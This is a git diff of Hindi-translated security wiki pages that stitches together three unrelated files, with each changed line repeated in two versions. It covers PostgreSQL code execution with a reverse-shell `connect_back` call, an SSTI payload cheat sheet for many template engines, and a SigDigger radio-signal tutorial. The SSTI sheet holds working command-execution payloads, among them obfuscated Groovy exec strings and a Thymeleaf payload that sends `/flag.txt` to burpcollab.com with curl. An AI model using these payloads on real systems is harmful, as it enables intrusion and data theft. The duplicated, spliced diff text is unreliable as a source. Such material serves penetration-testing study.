`CREATE FUNCTION` कमांड से एक महत्वपूर्ण भेद्यता उत्पन्न होती है, जो डेटा निर्देशिका में **निर्देशिका ट्रैवर्सल** की अनुमति देती है। परिणामस्वरूप, एक प्रमाणित हमलावर इस ट्रैवर्सल का **शोषण** करके डेटा निर्देशिका में एक साझा पुस्तकालय फ़ाइल लिख सकता है और फिर उसे **लोड** कर सकता है। यह शोषण हमलावर को मनमाने कोड को निष्पादित करने की अनुमति देता है, जिससे सिस्टम पर मूल कोड निष्पादन प्राप्त होता है।
#### हमले का प्रवाह
सबसे पहले आपको **dll अपलोड करने के लिए large objects का उपयोग करना होगा**। आप यहाँ देख सकते हैं कि ऐसा कैसे किया जाता है:
सबसे पहले आपको **dll अपलोड करने के लिए large objects का उपयोग करना होगा**। आप यहाँ देख सकते हैं कि ऐसा कैसे करना है:
{{#ref}}
big-binary-files-upload-postgresql.md
@ -279,11 +281,11 @@ big-binary-files-upload-postgresql.md
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_ध्यान दें कि आपको `.dll` एक्सटेंशन जोड़ने की आवश्यकता नहीं है क्योंकि create function इसे जोड़ देगा।_
_ध्यान दें कि आपको `.dll` एक्सटेंशन जोड़ने की आवश्यकता नहीं है क्योंकि create फ़ंक्शन इसे जोड़ देगा।_
अधिक जानकारी के लिए **यहाँ पढ़ें**[ **मूल प्रकाशन**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**।**\
उस प्रकाशन में **यह था** [**कोड जो postgres एक्सटेंशन उत्पन्न करने के लिए उपयोग किया गया**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_postgres एक्सटेंशन को संकलित करने के लिए किसी भी पिछले संस्करण को पढ़ें_)।\
उसी पृष्ठ पर **इस तकनीक को स्वचालित करने के लिए** यह **शोषण** दिया गया था:
एक ही पृष्ठ पर **इस तकनीक को स्वचालित करने के लिए** यह **शोषण** दिया गया था:
```python
#!/usr/bin/env python3
import sys

View File

@ -4,7 +4,7 @@
## SSTI (सर्वर-साइड टेम्पलेट इंजेक्शन) क्या है
सर्वर-साइड टेम्पलेट इंजेक्शन एक कमजोर है जो तब होती है जब एक हमलावर एक टेम्पलेट में दुर्भावनापूर्ण कोड इंजेक्ट कर सकता है जो सर्वर पर निष्पादित होता है। यह कमजोरी विभिन्न तकनीकों में पाई जा सकती है, जिसमें Jinja शामिल है।
सर्वर-साइड टेम्पलेट इंजेक्शन एक कमजोरियों है जो तब होती है जब एक हमलावर एक टेम्पलेट में दुर्भावनापूर्ण कोड इंजेक्ट कर सकता है जो सर्वर पर निष्पादित होता है। यह कमजोरी विभिन्न तकनीकों में पाई जा सकती है, जिसमें Jinja शामिल है।
Jinja एक लोकप्रिय टेम्पलेट इंजन है जो वेब अनुप्रयोगों में उपयोग किया जाता है। आइए एक उदाहरण पर विचार करें जो Jinja का उपयोग करते हुए एक कमजोर कोड स्निपेट को प्रदर्शित करता है:
```python
@ -16,30 +16,30 @@ output = template.render(name=request.args.get('name'))
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
पेलोड `{{bad-stuff-here}}` को `name` पैरामीटर में इंजेक्ट किया गया है। यह पेलोड Jinja टेम्पलेट निर्देशों को शामिल कर सकता है जो हमलावर को अनधिकृत कोड निष्पादित करने या टेम्पलेट इंजन में हेरफेर करने की अनुमति देते हैं, जिससे सर्वर पर नियंत्रण प्राप्त करने की संभावना होती है।
The payload `{{bad-stuff-here}}` को `name` पैरामीटर में इंजेक्ट किया गया है। यह पेलोड Jinja टेम्पलेट निर्देशों को शामिल कर सकता है जो हमलावर को अनधिकृत कोड निष्पादित करने या टेम्पलेट इंजन में हेरफेर करने की अनुमति देते हैं, जिससे सर्वर पर नियंत्रण प्राप्त करने की संभावना होती है।
सर्वर-साइड टेम्पलेट इंजेक्शन कमजोरियों को रोकने के लिए, डेवलपर्स को यह सुनिश्चित करना चाहिए कि उपयोगकर्ता इनपुट को टेम्पलेट में डाले जाने से पहले सही तरीके से साफ और मान्य किया गया है। इनपुट मान्यता को लागू करना और संदर्भ-सचेत एस्केपिंग तकनीकों का उपयोग करना इस कमजोरी के जोखिम को कम करने में मदद कर सकता है।
सर्वर-साइड टेम्पलेट इंजेक्शन कमजोरियों को रोकने के लिए, डेवलपर्स को यह सुनिश्चित करना चाहिए कि उपयोगकर्ता इनपुट को टेम्पलेट में डाले जाने से पहले सही तरीके से साफ और मान्य किया गया है। इनपुट मान्यता को लागू करना और संदर्भ-जानकारी वाले एस्केपिंग तकनीकों का उपयोग करना इस कमजोरी के जोखिम को कम करने में मदद कर सकता है।
### पहचान
### Detection
सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) का पता लगाने के लिए, प्रारंभ में, **टेम्पलेट को फज़ करना** एक सीधा दृष्टिकोण है। इसमें टेम्पलेट में विशेष वर्णों की एक श्रृंखला (**`${{<%[%'"}}%\`**) को इंजेक्ट करना और नियमित डेटा की तुलना में इस विशेष पेलोड के लिए सर्वर की प्रतिक्रिया में अंतर का विश्लेषण करना शामिल है। कमजोरी के संकेतों में शामिल हैं:
सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) का पता लगाने के लिए, प्रारंभ में, **टेम्पलेट को फज़ करना** एक सीधा दृष्टिकोण है। इसमें टेम्पलेट में विशेष वर्णों की एक श्रृंखला (**`${{<%[%'"}}%\`**) को इंजेक्ट करना और नियमित डेटा बनाम इस विशेष पेलोड के लिए सर्वर की प्रतिक्रिया में अंतर का विश्लेषण करना शामिल है। कमजोरी के संकेतों में शामिल हैं:
- फेंके गए त्रुटियाँ, जो कमजोरी और संभावित रूप से टेम्पलेट इंजन को प्रकट करती हैं।
- परावर्तन में पेलोड की अनुपस्थिति, या इसके कुछ हिस्सों का गायब होना, यह संकेत करता है कि सर्वर इसे नियमित डेटा की तुलना में अलग तरीके से संसाधित करता है।
- **Plaintext Context**: XSS से अलग करने के लिए यह जांचें कि क्या सर्वर टेम्पलेट अभिव्यक्तियों का मूल्यांकन करता है (जैसे, `{{7*7}}`, `${7*7}`)।
- **Code Context**: इनपुट पैरामीटर को बदलकर कमजोरी की पुष्टि करें। उदाहरण के लिए, `http://vulnerable-website.com/?greeting=data.username` में `greeting` को बदलकर देखें कि क्या सर्वर का आउटपुट गतिशील है या स्थिर, जैसे `greeting=data.username}}hello` जो उपयोगकर्ता नाम लौटाता है।
#### पहचान चरण
#### Identification Phase
टेम्पलेट इंजन की पहचान त्रुटि संदेशों का विश्लेषण करन या विभिन्न भाषा-विशिष्ट पेलोड का मैन्युअल परीक्षण करने में शामिल है। सामान्य पेलोड जो त्रुटियाँ उत्पन्न करते हैं उनमें `${7/0}`, `{{7/0}}`, और `<%= 7/0 %>` शामिल हैं। गणितीय संचालन के प्रति सर्वर की प्रतिक्रिया को देखना विशिष्ट टेम्पलेट इंजन को पहचानने में मदद करता है।
टेम्पलेट इंजन की पहचान करने के लिए त्रुटि संदेशों का विश्लेषण करन या विभिन्न भाषा-विशिष्ट पेलोड का मैन्युअल परीक्षण करन शामिल है। सामान्य पेलोड जो त्रुटियाँ उत्पन्न करते हैं उनमें `${7/0}`, `{{7/0}}`, और `<%= 7/0 %>` शामिल हैं। गणितीय संचालन के लिए सर्वर की प्रतिक्रिया को देखना विशिष्ट टेम्पलेट इंजन को पहचानने में मदद करता है।
#### पेलोड द्वारा पहचान
#### Identification by payloads
<figure><img src="../../images/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
- अधिक जानकारी [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) में
## उपकरण
## Tools
### [TInjA](https://github.com/Hackmanit/TInjA)
@ -96,7 +96,7 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
```
### FreeMarker (Java)
आप अपने पेलोड्स को [https://try.freemarker.apache.org](https://try.freemarker.apache.org) पर आजमा सकते हैं
आप अपने पेलोड्स को [https://try.freemarker.apache.org](https://try.freemarker.apache.org) पर आजमा सकते हैं
- `{{7*7}} = {{7*7}}`
- `${7*7} = 49`
@ -110,7 +110,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
**Freemarker - सैंडबॉक्स बायपास**
**Freemarker - Sandbox बायपास**
⚠️ केवल Freemarker के 2.3.30 से नीचे के संस्करणों पर काम करता है
```java
@ -155,7 +155,7 @@ $out.read()
### Thymeleaf
Thymeleaf में, SSTI कमजोरियों के लिए एक सामान्य परीक्षण है अभिव्यक्ति `${7*7}`, जो इस टेम्पलेट इंजन पर भी लागू होत है। संभावित रिमोट कोड निष्पादन के लिए, निम्नलिखित अभिव्यक्तियों का उपयोग किया जा सकता है:
Thymeleaf में, SSTI कमजोरियों के लिए एक सामान्य परीक्षण है अभिव्यक्ति `${7*7}`, जो इस टेम्पलेट इंजन पर भी लागू होत है। संभावित रिमोट कोड निष्पादन के लिए, निम्नलिखित अभिव्यक्तियों का उपयोग किया जा सकता है:
- SpringEL:
@ -171,7 +171,7 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf को इन अभिव्यक्तियों को विशिष्ट विशेषताओं के भीतर रखा जाना आवश्यक है। हालाँकि, _expression inlining_ अन्य टेम्पलेट स्थानों के लिए समर्थित है, जैसे कि `[[...]]` या `[(...)]` का उपयोग करके। इस प्रकार, एक सरल SSTI परीक्षण पेलोड इस तरह दिख सकता है `[[${7*7}]]`.
हालांकि, इस पेलोड के काम करने की संभावना सामान्यतः कम है। Thymeleaf की डिफ़ॉल्ट कॉन्फ़िगरेशन गतिशील टेम्पलेट निर्माण का समर्थन नहीं करती; टेम्पलेट को पूर्वनिर्धारित होना चाहिए। डेवलपर्स को ऑन-द-फ्लाई स्ट्रिंग से टेम्पलेट बनाने के लिए अपना `TemplateResolver` लागू करने की आवश्यकता होगी, जो असामान्य है।
हालांकि, इस पेलोड के काम करने की संभावना सामान्यतः कम है। Thymeleaf की डिफ़ॉल्ट कॉन्फ़िगरेशन गतिशील टेम्पलेट निर्माण का समर्थन नहीं करती; टेम्पलेट को पूर्वनिर्धारित होना चाहिए। डेवलपर्स को स्ट्रिंग्स से ऑन-द-फ्लाई टेम्पलेट बनाने के लिए अपना `TemplateResolver` लागू करने की आवश्यकता होगी, जो असामान्य है।
Thymeleaf _expression preprocessing_ भी प्रदान करता है, जहाँ डबल अंडरस्कोर (`__...__`) के भीतर अभिव्यक्तियों को पूर्व-प्रसंस्कृत किया जाता है। इस सुविधा का उपयोग अभिव्यक्तियों के निर्माण में किया जा सकता है, जैसा कि Thymeleaf के दस्तावेज़ में प्रदर्शित किया गया है:
```java
@ -179,7 +179,7 @@ Thymeleaf _expression preprocessing_ भी प्रदान करता ह
```
**Thymeleaf में कमजोरियों का उदाहरण**
निम्नलिखित कोड स्निपेट पर विचार करें, जो शोषण के प्रति संवेदनशील हो सकता है:
निम्नलिखित कोड स्निपेट पर विचार करें, जो शोषण के लिए संवेदनशील हो सकता है:
```xml
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
@ -257,7 +257,7 @@ el-expression-language.md
- `{{ someString.toUPPERCASE() }}`
Pebble का पुराना संस्करण ( < संस्करण 3.0.9):
Pebble का पुराना संस्करण ( < version 3.0.9):
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
@ -289,7 +289,7 @@ Pebble का नया संस्करण:
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
Jinjava एक ओपन सोर्स प्रोजेक्ट है जिसे Hubspot द्वारा विकसित किया गया है, जो [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) पर उपलब्ध है।
Jinjava एक ओपन सोर्स प्रोजेक्ट है जिसे Hubspot द्वारा विकसित किया गया है, उपलब्ध है [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
**Jinjava - कमांड निष्पादन**
@ -372,7 +372,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
- `${{7*7}}` - 49
- `${{request}}, ${{session}}, {{faceContext}}`
Expression Language (EL) एक मौलिक विशेषता है जो प्रस्तुति परत (जैसे वेब पृष्ठ) और एप्लिकेशन लॉजिक (जैसे प्रबंधित बीन) के बीच बातचीत को सुगम बनाती है JavaEE में। इसका उपयोग कई JavaEE तकनीकों में इस संचार को सरल बनाने के लिए किया जाता है। EL का उपयोग करने वाली प्रमुख JavaEE तकनीकें शामिल हैं:
Expression Language (EL) एक मौलिक विशेषता है जो प्रस्तुति परत (जैसे वेब पृष्ठ) और एप्लिकेशन लॉजिक (जैसे प्रबंधित बीन) के बीच बातचीत को सुविधाजनक बनाती है JavaEE में। इसका उपयोग कई JavaEE तकनीकों में इस संचार को सरल बनाने के लिए किया जाता है। EL का उपयोग करने वाली प्रमुख JavaEE तकनीकें शामिल हैं:
- **JavaServer Faces (JSF)**: JSF पृष्ठों में घटकों को संबंधित बैकएंड डेटा और क्रियाओं से जोड़ने के लिए EL का उपयोग करता है।
- **JavaServer Pages (JSP)**: JSP में डेटा तक पहुँचने और उसे संशोधित करने के लिए EL का उपयोग किया जाता है, जिससे पृष्ठ तत्वों को एप्लिकेशन डेटा से जोड़ना आसान हो जाता है।
@ -386,7 +386,7 @@ el-expression-language.md
### ग्रूवी (Java)
निम्नलिखित सुरक्षा प्रबंधक बायपास इस [**लेख**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/) से लिए गए हैं।
निम्नलिखित सुरक्षा प्रबंधक बायपास इस [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/) से लिए गए हैं।
```java
//Basic Payload
import groovy.*;
@ -411,7 +411,7 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value=
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
### अन्य जावा
### Other Java
<figure><img src="../../images/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
@ -419,7 +419,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
##
### स्मार्टी (PHP)
### Smarty (PHP)
```php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
@ -481,7 +481,7 @@ array("first_name" => $user.first_name)
### Plates (PHP)
Plates एक टेम्पलेटिंग इंजन है जो PHP के लिए स्वदेशी है, जो Twig से प्रेरित है। हालाँकि, Twig के विपरीत, जो एक नई सिंटैक्स पेश करता है, Plates टेम्पलेट्स में स्वदेशी PHP कोड का उपयोग करता है, जिससे यह PHP डेवलपर्स के लिए सहज बनता है।
Plates एक टेम्पलेटिंग इंजन है जो PHP के लिए स्वदेशी है, जो Twig से प्रेरित है। हालाँकि, Twig के विपरीत, जो एक नई सिंटैक्स पेश करता है, Plates टेम्पलेट्स में स्वदेशी PHP कोड का उपयोग करता है, जिससे यह PHP डेवलपर्स के लिए सहज हो जाता है।
Controller:
```php
@ -515,7 +515,7 @@ echo $templates->render('profile', ['name' => 'Jonathan']);
### PHPlib और HTML_Template_PHPLIB (PHP)
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) PHPlib के समान है लेकिन Pear पर पोर्ट किया गया है।
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) PHPlib के समान है लेकिन इसे Pear पर पोर्ट किया गया है।
`authors.tpl`
```html
@ -611,7 +611,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) एक गैर-संकलन PHP टेम्पलेटिंग इंजन है, जो एक दस्तावेज़ को विभिन्न भागों में विभाजित करने के लिए XML टैग का उपयोग करता है
> [patTemplate](https://github.com/wernerwa/pat-template) एक गैर-संकलन PHP टेम्पलेटिंग इंजन है, जो एक दस्तावेज़ को विभिन्न भागों में विभाजित करने के लिए XML टैग का उपयोग करता है
```xml
<patTemplate:tmpl name="page">
This is the main page.
@ -668,10 +668,10 @@ URLencoded:
| **टेम्पलेट** | **विवरण** |
| ------------ | ------------------------------------- |
| | आउटपुट का मूल्यांकन और रेंडर करें |
| | HTML एन्कोडेड आउटपुट का मूल्यांकन और रेंडर करें |
| | आउटपुट का मूल्यांकन और रेंडर करना |
| | एचटीएमएल एन्कोडेड आउटपुट का मूल्यांकन और रेंडर करना |
| | टिप्पणी |
| और | कोड की अनुमति दें (डिफ़ॉल्ट रूप से अक्षम) |
| और | कोड की अनुमति (डिफ़ॉल्ट रूप से अक्षम) |
- \= 49
@ -783,7 +783,7 @@ range.constructor(
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
{{#endref}}
### टॉरनेडो (पायथन)
### टॉरनेडो (पायथन)
- `{{7*7}} = 49`
- `${7*7} = ${7*7}`
@ -930,7 +930,7 @@ ${x}
### Mojolicious (Perl)
यह भले ही perl है, लेकिन यह Ruby में ERB की तरह टैग का उपयोग करता है।
यह भले ही Perl है, लेकिन यह Ruby में ERB की तरह टैग का उपयोग करता है।
- `<%= 7*7 %> = 49`
- `<%= foobar %> = Error`
@ -958,7 +958,7 @@ vbnet Copy code
RCE शोषण `html/template` और `text/template` के बीच काफी भिन्न होता है। `text/template` मॉड्यूल किसी भी सार्वजनिक फ़ंक्शन को सीधे कॉल करने की अनुमति देता है ( "call" मान का उपयोग करके), जो `html/template` में अनुमति नहीं है। इन मॉड्यूल के लिए दस्तावेज़ [यहां html/template के लिए](https://golang.org/pkg/html/template/) और [यहां text/template के लिए](https://golang.org/pkg/text/template/) उपलब्ध है।
Go में SSTI के माध्यम से RCE के लिए, ऑब्जेक्ट विधियों को आह्वान किया जा सकता है। उदाहरण के लिए, यदि प्रदान किया गया ऑब्जेक्ट एक `System` विधि है जो कमांड निष्पादित करता है, तो इसे इस तरह से शोषित किया जा सकता है `{{ .System "ls" }}`। इसे शोषित करने के लिए आमतौर पर स्रोत कोड तक पहुंच आवश्यक होती है, जैसा कि दिए गए उदाहरण में:
Go में SSTI के माध्यम से RCE के लिए, ऑब्जेक्ट विधियों को बुलाया जा सकता है। उदाहरण के लिए, यदि प्रदान किया गया ऑब्जेक्ट एक `System` विधि है जो कमांड चलाता है, तो इसे इस तरह से शोषित किया जा सकता है: `{{ .System "ls" }}`। इसे शोषित करने के लिए आमतौर पर स्रोत कोड तक पहुंच आवश्यक होती है, जैसा कि दिए गए उदाहरण में:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
@ -976,7 +976,9 @@ return string(out)
## BlackHat PDF
{% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
{{#file}}
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
{{#endfile}}
## संबंधित सहायता
@ -992,7 +994,7 @@ return string(out)
- [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
- [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
## ब्रूट-फोर्स डिटेक्शन सूची
## ब्रूट-फोर्स डिटेक्शन लिस्ट
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt

View File

@ -9,7 +9,7 @@
### Basic Config
इंस्टॉल करने के बाद कुछ चीजें हैं जिन्हें आप कॉन्फ़िगर करने पर विचार कर सकते हैं।\
सेटिंग्स में (दूसर टैब बटन) आप **SDR डिवाइस** का चयन कर सकते हैं या **एक फ़ाइल** का चयन कर सकते हैं जिसे पढ़ना है और किस आवृत्ति को समन्वयित करना है और सैंपल दर (यदि आपका पीसी इसे समर्थन करता है तो 2.56Msps तक अनुशंसित)\\
सेटिंग्स में (दूसर टैब बटन) आप **SDR डिवाइस** का चयन कर सकते हैं या **एक फ़ाइल** का चयन कर सकते हैं जिसे पढ़ना है और किस आवृत्ति को समन्वयित करना है और सैंपल दर (यदि आपका पीसी इसे समर्थन करता है तो 2.56Msps तक अनुशंसित)\\
![](<../../images/image (245).png>)
@ -26,19 +26,19 @@ GUI व्यवहार में, यदि आपका पीसी इस
![](<../../images/image (960).png>)
- SigDigger का **Tuner** **बेहतर सिग्नल कैप्चर करने में मदद करता है** (लेकिन यह उन्हें खराब भी कर सकता है)। आदर्श रूप से 0 से शुरू करें और **इसे बड़ा बनाते रहें जब तक** आप **शोर** को न देखें जो **सिग्नल में सुधार** से **बड़ा** है
- SigDigger का **Tuner** **बेहतर सिग्नल कैप्चर करने** में मदद करता है (लेकिन यह उन्हें degrade भी कर सकता है)। आदर्श रूप से 0 से शुरू करें और **इसे बड़ा बनाते रहें जब तक** आप **शोर** को **सिग्नल में सुधार** से **बड़ा** न पाएँ
![](<../../images/image (1099).png>)
### Synchronize with radio channel
[**SigDigger** ](https://github.com/BatchDrake/SigDigger) के साथ उस चैनल के साथ समन्वयित करें जिसे आप सुनना चाहते हैं, "Baseband audio preview" विकल्प कॉन्फ़िगर करें, सभी जानकारी प्राप्त करने के लिए बैंडविड्थ कॉन्फ़िगर करें और फिर Tuner को उस स्तर पर सेट करें जब शोर वास्तव में बढ़ना शुरू हो रहा हो:
[**SigDigger** ](https://github.com/BatchDrake/SigDigger) के साथ उस चैनल के साथ समन्वयित करें जिसे आप सुनना चाहते हैं, "Baseband audio preview" विकल्प को कॉन्फ़िगर करें, सभी भेजी जा रही जानकारी प्राप्त करने के लिए बैंडविड्थ कॉन्फ़िगर करें और फिर Tuner को उस स्तर पर सेट करें जब शोर वास्तव में बढ़ना शुरू हो रहा हो:
![](<../../images/image (585).png>)
## Interesting tricks
- जब एक डिवाइस जानकारी के बर्स्ट भेज रहा होता है, तो आमतौर पर **पहला भाग एक प्रीएंबल होगा** इसलिए आपको **चिंता करने की आवश्यकता नहीं है** यदि आप वहां **जानकारी नहीं पाते हैं** **या यदि वहां कुछ त्रुटियाँ हैं**
- जब एक डिवाइस जानकारी के बर्स्ट भेज रहा होता है, तो आमतौर पर **पहला भाग एक प्रीएम्बल** होगा इसलिए आपको **चिंता करने की आवश्यकता नहीं है** यदि आप वहां **जानकारी नहीं पाते हैं** **या यदि वहां कुछ त्रुटियाँ हैं**
- जानकारी के फ़्रेम में, आपको आमतौर पर **अलग-अलग फ़्रेम एक-दूसरे के साथ अच्छी तरह से संरेखित** मिलेंगे:
![](<../../images/image (1076).png>)
@ -46,7 +46,7 @@ GUI व्यवहार में, यदि आपका पीसी इस
![](<../../images/image (597).png>)
- **बिट्स को पुनर्प्राप्त करने के बाद, आपको उन्हें किसी न किसी तरह से प्रोसेस करने की आवश्यकता हो सकती है**। उदाहरण के लिए, मैनचेस्टर कोडिफिकेशन में एक अप+डाउन 1 या 0 होगा और एक डाउन+अप दूसरा होगा। इसलिए 1 और 0 के जोड़े (अप और डाउन) एक वास्तविक 1 या एक वास्तविक 0 होंगे।
- भले ही एक सिग्नल मैनचेस्टर कोडिफिकेशन का उपयोग कर रहा हो (एक पंक्ति में दो से अधिक 0 या 1 पाना असंभव है), आप **प्रीएबल में कई 1 या 0 एक साथ पा सकते हैं**!
- भले ही एक सिग्नल मैनचेस्टर कोडिफिकेशन का उपयोग कर रहा हो (एक पंक्ति में दो से अधिक 0 या 1 पाना असंभव है), आप **प्रीएम्बल में कई 1 या 0 एक साथ पा सकते हैं**!
### Uncovering modulation type with IQ
@ -58,19 +58,21 @@ GUI व्यवहार में, यदि आपका पीसी इस
- **AM का पता लगाना**: यदि IQ ग्राफ में उदाहरण के लिए **2 सर्कल** दिखाई देते हैं (संभवतः एक 0 पर और दूसरा एक अलग एम्प्लीट्यूड पर), तो इसका मतलब हो सकता है कि यह एक AM सिग्नल है। इसका कारण यह है कि IQ ग्राफ में 0 और सर्कल के बीच की दूरी सिग्नल की एम्प्लीट्यूड है, इसलिए विभिन्न एम्प्लीट्यूड का उपयोग करना आसान है।
- **PM का पता लगाना**: पिछले चित्र की तरह, यदि आप छोटे सर्कल पाते हैं जो एक-दूसरे से संबंधित नहीं हैं, तो इसका मतलब हो सकता है कि एक फेज मॉड्यूलेशन का उपयोग किया गया है। इसका कारण यह है कि IQ ग्राफ में, बिंदु और 0,0 के बीच का कोण सिग्नल का फेज है, इसलिए इसका मतलब है कि 4 अलग-अलग फेज का उपयोग किया गया है।
- ध्यान दें कि यदि जानकारी इस तथ्य में छिपी हुई है कि एक फेज बदला गया है और न कि फेज में स्वयं, तो आप स्पष्ट रूप से अलग-अलग फेज नहीं देखेंगे।
- **FM का पता लगाना**: IQ में आवृत्तियों की पहचान करने के लिए कोई क्षेत्र नहीं है (केंद्र से दूरी एम्प्लीट्यूड है और कोण फेज है)।\
- **FM का पता लगाना**: IQ में आवृत्तियों की पहचान करने के लिए कोई क्षेत्र नहीं है (केंद्र की दूरी एम्प्लीट्यूड है और कोण फेज है)।\
इसलिए, FM की पहचान करने के लिए, आपको इस ग्राफ में **बुनियादी रूप से केवल एक सर्कल** देखना चाहिए।\
इसके अलावा, एक अलग आवृत्ति को IQ ग्राफ द्वारा **सर्कल के चारों ओर गति की तेजी** द्वारा "प्रतिनिधित्व" किया जाता है (इसलिए SysDigger में सिग्नल का चयन करते समय IQ ग्राफ भरा जाता है, यदि आप बनाए गए सर्कल में गति की तेजी या दिशा में बदलाव पाते हैं, तो इसका मतलब हो सकता है कि यह FM है):
इसके अलावा, एक अलग आवृत्ति को IQ ग्राफ द्वारा **सर्कल के चारों ओर गति की तेजी** द्वारा "प्रतिनिधित्व" किया जाता है (इसलिए SysDigger में सिग्नल का चयन करते समय IQ ग्राफ भरा जाता है, यदि आप बनाए गए सर्कल में गति या दिशा में परिवर्तन पाते हैं, तो इसका मतलब हो सकता है कि यह FM है):
## AM Example
{% file src="../../images/sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw" %}
{{#file}}
sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
{{#endfile}}
### Uncovering AM
#### Checking the envelope
[**SigDigger** ](https://github.com/BatchDrake/SigDigger) के साथ AM जानकारी की जांच करते समय और बस **एंवेलप** को देखते हुए आप विभिन्न स्पष्ट एम्प्लीट्यूड स्तर देख सकते हैं। उपयोग किया गया सिग्नल AM में जानकारी के साथ पल्स भेज रहा है, यह एक पल्स कैसे दिखता है:
[**SigDigger** ](https://github.com/BatchDrake/SigDigger) के साथ AM जानकारी की जांच करते समय और केवल **एंवेलप** को देखते हुए, आप विभिन्न स्पष्ट एम्प्लीट्यूड स्तर देख सकते हैं। उपयोग किया गया सिग्नल AM में जानकारी के साथ पल्स भेज रहा है, यह एक पल्स कैसे दिखता है:
![](<../../images/image (590).png>)
@ -88,11 +90,11 @@ GUI व्यवहार में, यदि आपका पीसी इस
![](<../../images/image (732).png>)
यदि आप बहुत सारी आवृत्तियाँ पाते हैं, तो यह संभवतः FM नहीं होगा, शायद सिग्नल की आवृत्ति केवल चैनल के कारण संशोधित की गई थी।
यदि आप बहुत सारी आवृत्तियाँ पाते हैं, तो संभवतः यह FM नहीं होगा, शायद सिग्नल की आवृत्ति केवल चैनल के कारण संशोधित की गई थी।
#### With IQ
इस उदाहरण में आप देख सकते हैं कि वहाँ एक **बड़ा सर्कल** है लेकिन साथ ही **केंद्र में बहुत सारे बिंदु हैं।**
इस उदाहरण में आप देख सकते हैं कि वहाँ एक **बड़ा सर्कल** है लेकिन साथ ही **केंद्र में बहुत सारे बिंदु** हैं।
![](<../../images/image (222).png>)
@ -100,7 +102,7 @@ GUI व्यवहार में, यदि आपका पीसी इस
#### With one symbol
सबसे छोटे प्रतीक का चयन करें जिसे आप पा सकते हैं (ताकि आप सुनिश्चित हों कि यह केवल 1 है) और "चयन आवृत्ति" की जांच करें। इस मामले में यह 1.013kHz (तो 1kHz) होगा।
आप सबसे छोटे प्रतीक का चयन कर सकत हैं जिसे आप पा सकते हैं (ताकि आप सुनिश्चित हो सकें कि यह केवल 1 है) और "चयन आवृत्ति" की जांच करें। इस मामले में यह 1.013kHz (तो 1kHz) होगा।
![](<../../images/image (78).png>)
@ -112,36 +114,38 @@ GUI व्यवहार में, यदि आपका पीसी इस
### Get Bits
